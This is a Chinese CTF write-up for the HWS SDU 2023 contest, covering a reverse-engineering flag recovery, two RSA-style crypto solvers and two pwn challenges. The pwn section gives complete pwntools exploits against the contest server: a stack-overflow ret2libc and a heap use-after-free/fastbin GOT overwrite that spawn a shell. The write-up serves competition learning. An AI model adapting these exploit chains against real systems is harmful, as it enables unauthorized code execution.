0%

comp - 2023HwsSDU专场CTF-wp

HWS!PWN+RE+CRYPTO

RE

Re

这个题本来打好逆向后的包准备写 wp 的,结果重新加载的时候给覆盖了...就不配图了,函数顺序按照反汇编从上到下来分析的。

拿到这个题看到有反调试,没 patch ,直接静态分析了

- 1st important function

第一个重要函数里有一个 flag{} 的判断,还有一个对于'-'的判断,可以猜测 flag 的格式为 flag{uuid}

接下来的一个函数有花指令,把 E8 改成 90 以后重新反汇编,还是没有啥东西...为了不影响后面做题,还是回到一开始的地方把 jz 改成了 jnz ,然后动调发现这个带花的函数基本没啥用,好像就调用了个__chkesp函数,但我不太清楚这是干啥的,就直接忽略了

- 2nd important function

第二个重要函数对我们输入的 flag 做了一些操作,把中间的'-'全部删掉,并做了一些移动的操作,大概就是

1
2
flag{aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa}
flag{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}

- 3rd important function

第三个函数将 uuid 的前 32 个字节作为参数,做了一些异或操作和比对操作,我们可以恢复一部分 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include<iostream>
using namespace std;
int encdata1[13];
char encdata2[16];
int encdata3[22];
char flag[42]="flag{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaxxxx}";


void func1()
{
encdata1[0] = 102;
encdata1[1] = 52;
encdata1[2] = 51;
encdata1[3] = 49;
encdata1[4] = 52;
encdata1[5] = 57;
encdata1[6] = 96;
encdata1[7] = 60;
encdata1[8] = 61;
encdata1[9] = 34;
encdata1[10] = 104;
encdata1[11] = 33;
encdata1[12] = 56;
int count = 5;
for (int i = 0; i < 13; ++i )
{
if ( i % 2 )
{
flag[count] = encdata1[i] ^ (2*i);
}
else
{
flag[count] = encdata1[i] ^ i;
}
count++;
}
}
int main()
{
func1();
cout<<flag<<endl;

system("pause");
return 0;
}

# flag{f61703f2-50b7-4aaa-aaaa-aaaaaaaaaaaa}

可以看到,这个函数只对前13个字节做了操作,剩下的19个字节没用到

- 4th important function

第四个函数将 uuid 的中间18位放了进去,然后做了一大堆操作以后跟下面的东西做了比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
v5[0] = 63;
v5[1] = -70;
v5[2] = -60;
v5[3] = -111;
v5[4] = -60;
v5[5] = 116;
v5[6] = 2;
v5[7] = 38;
v5[8] = -20;
v5[9] = -110;
v5[10] = 56;
v5[11] = -62;
v5[12] = 11;
v5[13] = 109;
v5[14] = 39;
v5[15] = -45;

由于看到了这个函数里面有个子函数有超长的一串,虽然看不懂,但我怀疑这应该是某个加密算法的手搓版,于是就问 GPT 老师,它跟我说是MD5加密算法的一部分(后来用 findcrypt 插件也能看出来)。

而后面还有个函数是这18位中前14位的 base64_encode ,也就是说我们解码后只需要爆破后4位即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import hashlib

def generate_md5(text):
return hashlib.md5(text.encode('utf-8')).digest()

target_hash = ([63, -70, -60, -111, -60, 116, 2, 38, -20, -110, 56, -62, 11, 109, 39, -45])

for i in range(16):
for j in range(16):
for k in range(16):
for m in range(16):
# 将i和j转换为两位16进制数
hex_i = format(i, '01x')
hex_j = format(j, '01x')
hex_k = format(k, '01x')
hex_m = format(m, '01x')

# 构建待加密的明文
plaintext = f'f47813c26594c0{hex_i}{hex_j}{hex_k}{hex_m}'
# print(plaintext)

# 计算MD5散列值
hashed_text = generate_md5(plaintext)
# print(hashed_text.hex())

if hashed_text.hex() == '3fbac491c4740226ec9238c20b6d27d3':
print(plaintext)

# flag{f61703f2-50b7-4f47-813c-26594c0e581a} // 这里的最后一位 a 不是真的 a ,是因为一开始我写的 flag 格式是a,这一位还是需要我们爆破的

拿到平台上去爆破最后一位,没想到直接就是 0 ,一遍过~

flag{f61703f2-50b7-4f47-813c-26594c0e5810}

PWN

inverse

32位 + 整数溢出 + 简单栈溢出,思路真没啥好写的,直接上exp吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(os='linux',arch='i386',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ip = '124.71.135.126:30011'.split(':')
file = './pwn'

io = remote(ip[0],int(ip[1]))
# io = process(file)
# gdb.attach(io, 'breakpoint main')

elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')
# ---------------------------------------------------------------------
io.send('/bin/sh')
io.sendline('-1')
# gdb.attach(io)

puts_plt = elf.plt['puts']
read_got = elf.got['read']
work_addr = 0x80493D5


# gdb.attach(io)
payload = b'a'*0x40 + p32(puts_plt) + p32(work_addr) + p32(read_got)
io.send(payload)

io.recvuntil(b' msg:')
read_addr = u32(io.recv(4))
print('read_addr ---> ',hex(read_addr))

libc_base = read_addr - libc.sym['read']
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
bin_sh = 0x0804C030
print('libc_base ---> ',hex(libc_base))
print('sys_addr ---> ',hex(sys_addr))
print('bin_sh ---> ',hex(bin_sh))

io.sendline('-1')
payload = b'a'*0x40 + p32(sys_addr) + p32(work_addr) + p32(bin_sh)
io.send(payload)

io.interactive()

controller

这题是 awdp/awd 的题吧,好多洞...但是为什么 patchelf 以后会给我报libgcc_s.so.0的错啊,我还从 lib64/lib/2.27libgcc库 中拷贝了对应文件,结果都不行...

灰盒的 heap 题太难打了...不过从22:00打到3:00出 flag 的一瞬间真的巨爽

这题逆向就挺费时间的,一堆没啥用的函数,就只有choice == 1/2/3/6(堆题的uaf) || choice == 1/9(fmt + 栈)

...写 wp 的时候去看了一下 choice == 9,结果突然发现 strlen 用'' 就可以随便绕...早知道不灰盒打堆了...

我的思路是 uaf + fastbin attack

  • alloc 再 free 两个 chunk
  • 由于 fastbin LIFO,利用 uaf 将 heap_list (堆指针表)的地址写入 chunk13 的 fd 和 bk
  • 申请两个同样大小的 chunk ,我们就能用 chunk15 任意地址读写了
  • leak
    • 首先把 malloc 的 got 写进 chunk15,然后 show,就可以leak libc 基址
  • write
    • 由于这个时候,heap_list 中还存有 malloc_got ,于是我们直接控制这个指针去写 malloc_got 指向的地址
  • 将 one_gadget 写入 malloc_got 指向的地址,当我们再去 malloc 的时候,就会调用 og 进而提权。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
ip = '124.71.135.126:30070'.split(':')
file = './pwn'

io = remote(ip[0],int(ip[1]))
# io = process(file)
# gdb.attach(io, 'breakpoint main')

elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')
# ---------------------------------------------------------------------
def alloc(size,content1,content2):
io.sendlineafter('> ', str(2))
io.sendlineafter('length of the new pipe name? ', str(size))
io.sendlineafter('name of the new pipe? ', content1)
io.sendlineafter('Please write a description: ', content2)
io.sendlineafter('(radius,speed,length): ','1')

def free(index):
io.sendlineafter('> ', str(3))
io.sendlineafter('Please choose pipe: ', str(index))
io.sendline()

def edit(index,content):
io.sendlineafter('> ', str(6))
io.sendlineafter('Choose >',str(1))
io.sendlineafter('Please choose pipe: ', str(index))
io.sendlineafter('Plese input info >',content)
io.sendline()

# def show(index):
# io.sendlineafter('> ', str(1))

# ---------------------------------------------------------------------
content1 = 'a'*8
content2 = 'b'*80

alloc(0x30,content1,content2) # 12
alloc(0x30,content1,content2) # 13
free(12)
free(13)
content = p64(0x60418f)
edit(13,content)
alloc(0x30,content1,content1) # 14

malloc_got = elf.got['malloc']
content1 = b'\x00\x00\x00\x01\x00\x00\x02\x40\x00' + p64(malloc_got) + p64(malloc_got)
alloc(0x30,content1,content1) # 15
io.sendlineafter('> ', str(1))


# io.sendlineafter('> ', str(11))
# io.sendlineafter('> ', str(1))
malloc_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('puts_addr ---> ',hex(malloc_addr))
libc_base = malloc_addr - libc.sym['malloc']
print('libc_base ---> ',hex(libc_base))
og = [0x4f2a5,0x4f302,0x10a2fc]
get_shell = libc_base + og[2]
print('libc_base ---> ',hex(get_shell))
content = p64(get_shell)
io.sendline()
edit(2,content)


# gdb.attach(io)

io.interactive()

'''
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

为了写这题我还特意写了个 exp_local.py 来测试本地高版本libc的堆..

Crypto

没想到 ak 的居然是密码,这俩都是板子题

ezRSA

这题两个数的位置反了😭卡了好长时间来着,我说为什么 getPrime 生成的 p 怎么会不是素数

这题一眼求解二次剩余,公钥课上学过(没想到课堂上的东西能拿来打CTF),从网上扒一个脚本直接解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
p=13107939563507459774616204141253747489232063336204173944123263284507604328885680072478669016969428366667381358004059204207134817952620014738665450753147857
a=4124820799737107236308837008524397355107786950414769996181324333556950154206980059406402767327725312238673053581148641438494212320157665395208337575556385

k=0
import gmpy2
import sympy
from Crypto.Util.number import long_to_bytes
P=(p-1)
if p%4==3:
print(gmpy2.powmod(a,int((p+1)//4),p))
print(-gmpy2.powmod(a,int((p+1)//4),p))
else:
while P%2==0:
P=P//2
k=k+1
q=2
while q:
l=gmpy2.powmod(q,int((p-1)//2),p)
if l==p-1:
break
q=sympy.nextprime(q)
b=gmpy2.powmod(q,P,p)
x=[0 for i in range(k)]
re_a=gmpy2.invert(a,p)
x[k-1]=gmpy2.powmod(a,int((P+1)//2),p)
for i in range(1,k):
m=re_a*pow(x[k-i],2)
n=pow(2,(k-i-1))
if gmpy2.powmod(m,n,p)==p-1:
j0=1
x[k-i-1]=x[k-i]*pow(b,j0*(2**(i-1)))%p
else:
j1=0
x[k-i-1]=x[k-i]%p
print(long_to_bytes(p-x[0]))

## hdRSA

3:00-5:00就在找这道题的关键词...

从 "rsa 特殊构造p" 到 "rsa D*V**2+1" 再到 "rsa 4p+1",终于让我找到有用的东西了,从Lazzzaro的这篇博客里,找到了这个工具,直接 tmux 四个窗口梭哈遍历 D!

分解出 pq 来以后就是常规 rsa 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import gmpy2
from Crypto.Util.number import long_to_bytes
e = 65537
c = 187275367513186345104534865239994699892170904489725413330767115192172530253625393062151741036312498277557971553595091826062438445856091864605758318579599363539202154625683947568962358702545878760994434813222953503460910447662183200334960821110618746899798165363389255347363192576250804362413854445821046755759458439443253294822553986237695607000569717855942461517564526611106601774100617668231506539201297550376834067118784548951699927659889815770492684106287801610261026674778509245649501695344652216367741171392139049785280654043804502329999760613658697298671602787929199239524617160567336634126185042907593427921016129734757065504417112269027028799047579450965076835882020261162192475637278445255805339324893626400179818784574957669576516363342104273184813708475202313539634027764340858242764934872804570810575764191987921655276520658100755510986290562980055133376750812535713567917823663134974180449002466833109112866681229626239871954125027501071383217816313440079294139254989413050731511516498127225020975071747314764552267845933494600295296885808466296844091612401062566502515356974852161817112538289440970059783116540091633055220150093646069438113246518726017868258339512247175386052684861670431148484455765445960495130308147156436998327553854387741014177421559585683382003377803158283603889312107837885491964835073892174406797445622388505256985237867456926792546588756970045576002345376035346727906264683596628903417932566383221754976804148878057310066885140776352202510584461556988179369177560403923399529842871087532495739921906849249072433614545319458973155343802539527630971239359995893495205324483418191744545506744253222956232506980824457995662900264427265978239540089825733734306363153471606200228841997928021468359645661221933848545854596097640552489404777927679709089475954033350287287833943519423030861868256961619722983499902810335
n = 330961752887996173328854935965112588884403584531022561119743740650364958220684640754584393850796812833007843940336784599719224428969119533284286424077547165101460469847980799370419655082069179038497637761333327079374599506574723892143817226751806802676013225188467403274658211563655876500997296917421904614128056847977798146855336939306463059440416150493262973269431000762285579221126342017624118238829230679953011897314722801993750454924627074264353692060002758521401544361385231354313981836056855582929670811259113019012970540824951139489146393182532414878214182086999298397377845534568556100933934481180701997394558264969597606662342898026915506749002491326250792107348176681795942799954526068501499100232598658650184565873243525176833451664254917655703178472944744658628534195346977023418550761620254528178516972066618936960223660362493931786389085393392950207048675797593816271435700130995225483316625836104802608163745376633884840588575355936746173068655319645572100149515524131883813773486917122153248495022372690912572541775943614626733948206252900473118240712831444072243770979419529210034883903111038448366933374841531126421441232024514486168742686297481063089161977054825621099768659097509939405315056325336120929492838479309609958696957890570295444494277819063443427972643459784894450787015151715676537385237767990406742547664321563688829289809321534752244260529319454316532580416182438749849923354060125229328043961355894086576238519138868298499249023773237770103057707912709725417033309061308880583988666463892828633292839968866953776989722310954204550783825704710017434214644199415756584929214239679433211393230307782953067246529626136446314941258877439356094775337541321331600788042698664632064112896956898222397445497695982546922871549828242938368486774617350420790711093069910914135319635330786253331223459637232106417577225350441291
p = 16486456392568284654575447481741337432037045210800881835922614280067095597403710005455885867829534599108105197853120121574779191481125315722964257888873579099800690068397728960335561315717619132097747891006990987234219773215951341290375325467839650020485843410133760476863038747605417567970738312428198804291743647184526806692092507258393049800262129700391618652453916902141512582838357424455278388992820311182042750759628796263458005206211851622898042001270110860445227518098099442496544291487453616861604254291750411887857595093636553437331170435660475454672143330589299824376076547689051724844786337326281769222107417355877587836699896745726567628092282995399905968099655245359825181671342180522153867520458557378100805495885728965517124749113185924078688116625743891547407248459361185534137655598794841381345072595952173547088910141316887889085791098603541066183857855045537851225348728432140633429582547355875169018387146998010651697236311238281309072462571334886501953441278420091394620498419461947569630534013992500053942893075863031452593127978173868322268503740398804653340332478754797272662812261231775395620689300949393859423566492311584685742006804194387349833713097736389655660701086473349762351032974011890884285149086019
q = 20074765917385746960935546244046943454462816043103272528361092579826674512173765241930755746125701611787832050933381141287876969868161022364171839735197812750520430729316788310479069323911390204105953536522038545353910488349500120367222425966798487691717708110938190921291433703777234979917798631930961003842873264252345740246004565354378673284300771278077629291983142857452945395644496169376540506242324806217396415838590757988653416655884020806407076836843763182293453375883193557418497971808909707169877529993060558008071543221829096316946680943004116896967543999782332968077171180309491946947119885153993121862489
print('q*p = ',q*p,'\n')
if n == p*q:
print('n == p * q')
else:
print('n != p * q')
print(n-p*q)
print('n-q = ',n-q,'\n')



phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)

print(long_to_bytes(m))
-------------文章就到这里啦!感谢您的阅读XD-------------